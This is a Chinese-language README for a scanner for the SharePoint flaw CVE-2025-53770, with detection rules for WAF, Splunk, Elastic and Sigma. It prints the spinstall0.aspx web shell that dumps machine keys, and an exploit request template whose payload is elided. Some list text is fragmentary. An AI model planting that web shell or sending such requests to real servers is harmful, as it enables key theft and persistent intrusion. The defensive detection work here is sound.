100% 借助社交媒体上流传的各种 payload 和不同攻击手法拼凑而成，因此不附带任何保修等。该扫描器旨在识别存在漏洞的实例，并配有包含已知在野利用方式的配置，主要设计用于防御目的，帮助识别易受攻击的实例并及时修补。
该扫描器通过以下方式对 SharePoint 部署执行自动化检查：
SP2013: WEBSER~1\15\ vs SP2016+: WEBSER~1\16\）git clone https://github.com/ZephrFish/CVE-2025-53770-Scanner
cd CVE-2025-53770-Scanner
pip install -r requirements.txt
创建一个包含目标主机的文本文件（每行一个）：
sharepoint1.example.com
sharepoint2.example.net
internal-sp.company.local
运行扫描器：
python3 scanner.py -i hosts.txt
python3 scanner.py -i hosts.txt -o results.json -l scan.log -t 20 -v
-o results.json）[
{
"host": "sharepoint.example.com",
"url": "https://sharepoint.example.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx",
"scan_time": "2025-07-21T10:30:00.123456",
"vulnerable": true,
"status_code": 200,
"response_size": 15432,
"error": null,
"response_time": 1.23
}
]
-o results.csv）提供适合电子表格分析的表格数据，包含所有扫描指标的列。
-o results.txt）易于阅读的格式，包含漏洞状态和扫描详情。
CVE-2025-53770 针对 SharePoint 的 ExcelDataSet 组件中的一个反序列化漏洞，该漏洞已在野被积极利用。扫描器可检测：
/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx 发送带有序列化 payload 的 POST 请求ValidationKey|Validation|DecryptionKey|Decryption|CompatibilityMode
Example: [128-256 hex chars]|HMACSHA256|[48-96 hex chars]|AES|Framework45
spinstall0.aspx 以维持持久访问和密钥提取Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0/_layouts/SignOut.aspx扫描器分析响应以检测：
$ python3 scanner.py -i corporate-sharepoint.txt -o vuln-results.json -l scan.log -v
Starting scan of 150 hosts with 10 threads...
Target CVE: CVE-2025-53770 (SharePoint ExcelDataSet deserialization)
Logging to: scan.log
Results will be saved to: vuln-results.json
[+] VULNERABLE [CRITICAL]: sp-prod-01.acme.local
[-] Not vulnerable: sp-dev-02.acme.local
[!] ERROR: offline-sp.acme.local - Connection timeout
[+] VULNERABLE [HIGH]: sp-legacy.acme.local
Progress: 50/150 (33.3%)
Progress: 100/150 (66.7%)
Progress: 150/150 (100.0%)
============================================================
SCAN COMPLETE
============================================================
Total hosts scanned: 150
Vulnerable hosts: 3
Success rate: 97.3%
VULNERABLE HOSTS (CVE-2025-53770):
CRITICAL - MACHINE KEY EXTRACTED (1 hosts):
• sp-prod-01.acme.local (Response time: 0.85s, Version: 2016+)
WARNING: IMMEDIATE ACTION REQUIRED: Machine keys compromised
HIGH CONFIDENCE (1 hosts):
• sp-legacy.acme.local (Response time: 1.23s, Version: 2013-2016)
LOW CONFIDENCE (1 hosts):
• sp-archive.acme.local (Response time: 2.10s, Version: Unknown)
Detailed results saved to: vuln-results.json
启用详细日志记录（-v）和日志文件（-l）以进行详细故障排除：
tail -f scan.log
扫描器融入了对活跃攻击中观察到的已确认利用模式的检测：
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: target.domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 7699
Content-Type: application/x-www-form-urlencoded
Referer: /_layouts/SignOut.aspx
Connection: close
MSOTlPn_Uri=http%3A%2F%2F{{host}}%2F_controltemplates%2F15%2FAclEditor.ascx
&MSOTlPn_DWP=[ExcelDataSet payload with CompressedDataTable containing serialized exploit]
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void Page_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
}
</script>
ValidationKey: [128-256 character hex string]
Validation: HMACSHA256|HMACSHA1|SHA1
DecryptionKey: [48-96 character hex string]
Decryption: AES|DES|3DES
CompatibilityMode: Framework20SP1|Framework45|Framework40
各组织应实施以下检测机制，以识别潜在的利用尝试：
监控发往 SharePoint ToolPane 端点的可疑 POST 请求：
# Example WAF detection rule patterns
POST /_layouts/15/ToolPane.aspx*
POST /_layouts/*/ToolPane.aspx*
Query string: "DisplayMode=Edit&a=/ToolPane.aspx"
Request body containing: "MSOTlPn_Uri", "MSOTlPn_DWP"
Request body containing: "ExcelDataSet", "CompressedDataTable"
Request body containing: "Scorecard:ExcelDataSet"
Request body containing: "H4sIAAAAAAAEA" (gzip magic bytes in base64)
Content-Length > 5000 bytes (typical payload size)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0)
Referer: /_layouts/SignOut.aspx
观察到的利用模式：
CompressedDataTable 参数中包含 URL 编码的压缩数据监控 SharePoint 统一日志记录服务（ULS）日志中的以下内容：
Category: SharePoint Foundation Web Controls
Level: Unexpected, Error, Critical
Keywords: "ToolPane", "ExcelDataSet", "Deserialization"
Process: w3wp.exe
ULS 日志中的关键指标：
监控 IIS 日志中的利用模式：
# Log analysis queries (replace with your SIEM syntax)
cs-method="POST" AND cs-uri-stem="/_layouts/15/ToolPane.aspx"
cs-method="POST" AND cs-uri-query="DisplayMode=Edit&a=/ToolPane.aspx"
cs-bytes > 7000 (typical exploit payload size)
cs(User-Agent)="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"
cs(Referer)="/_layouts/SignOut.aspx"
sc-status=200 AND time-taken > 5000 (slow processing indicating deserialization)
来自真实攻击的特定 IOC：
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
Content-Length: 7699
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Referer: /_layouts/SignOut.aspx
Body contains: MSOTlPn_Uri=http%3A%2F%2F[domain]%2F_controltemplates%2F15%2FAclEditor.ascx
Body contains: CompressedDataTable%3D%22H4sIAAAAAAAEANVa23LbSJLt3stEzMzu0%2F6AQs%2B2BJCiu%2BWQ
监控网络流量中的以下内容：
监控 SharePoint 服务器上的 Windows 事件日志：
Event Log: Application
Source: ASP.NET, SharePoint Foundation
Event IDs: 1309, 1310 (application errors)
Event Log: System
Source: Application Error
Process: w3wp.exe crashes
index=iis source="*iis*"
| search cs_method="POST" cs_uri_stem="/_layouts/15/ToolPane.aspx" cs_uri_query="DisplayMode=Edit&a=/ToolPane.aspx"
| eval payload_size=tonumber(cs_bytes)
| where payload_size > 7000
| search cs_User_Agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"
| stats count by src_ip, cs_uri_stem, payload_size
| sort -payload_size
index=iis
| search cs_method="POST" AND cs_uri_stem="/_layouts/15/ToolPane.aspx"
| where cs_bytes > 7000 AND cs_bytes < 10000
| search cs_Referer="/_layouts/SignOut.aspx"
| eval attack_pattern=if(like(cs_User_Agent, "%Windows NT 10.0; Win64; x64; rv:120.0%"), "CVE-2025-53770", "Other")
| where attack_pattern="CVE-2025-53770"
| table _time, src_ip, cs_uri_query, cs_bytes, sc_status
{
"query": {
"bool": {
"must": [
{"term": {"http.request.method": "POST"}},
{"term": {"url.path": "/_layouts/15/ToolPane.aspx"}},
{"term": {"url.query": "DisplayMode=Edit&a=/ToolPane.aspx"}},
{"range": {"http.request.bytes": {"gte": 7000, "lte": 10000}}},
{"term": {"user_agent.original": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"}},
{"term": {"http.request.referrer": "/_layouts/SignOut.aspx"}}
]
}
}
}
title: CVE-2025-53770 SharePoint ExcelDataSet Exploitation
id: cve-2025-53770-sharepoint-exploit
description: Detects exploitation attempts of CVE-2025-53770 SharePoint deserialization vulnerability
references:
- https://github.com/your-repo/CVE-2025-53770-Scanner
author: Security Team
date: 2025/07/21
logsource:
category: webserver
product: iis
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/_layouts/15/ToolPane.aspx'
cs-uri-query: 'DisplayMode=Edit&a=/ToolPane.aspx'
cs-bytes:
- gte: 7000
- lte: 10000
cs-User-Agent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0'
cs-Referer: '/_layouts/SignOut.aspx'
condition: selection
falsepositives:
- Legitimate SharePoint administrative activities
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2025.53770
留意以下利用后行为：
立即响应：
调查：
遏制：
# Convert scan results for Splunk ingestion
python3 scanner.py -i hosts.txt -o results.json
# Import into Splunk index
curl -k -H "Authorization: Splunk <token>" -X POST \
"https://splunk-server:8088/services/collector" \
-d @results.json
| 选项 | 描述 | 默认值 |
|---|
-i, --input | 主机列表文件路径（必填） | - |
-o, --output | 结果输出文件（.json、.csv、.txt） | None |
-l, --logfile | 详细日志的日志文件路径 | None |
-t, --threads | 并发线程数 | 10 |
-v, --verbose | 启用详细输出和日志记录 | False |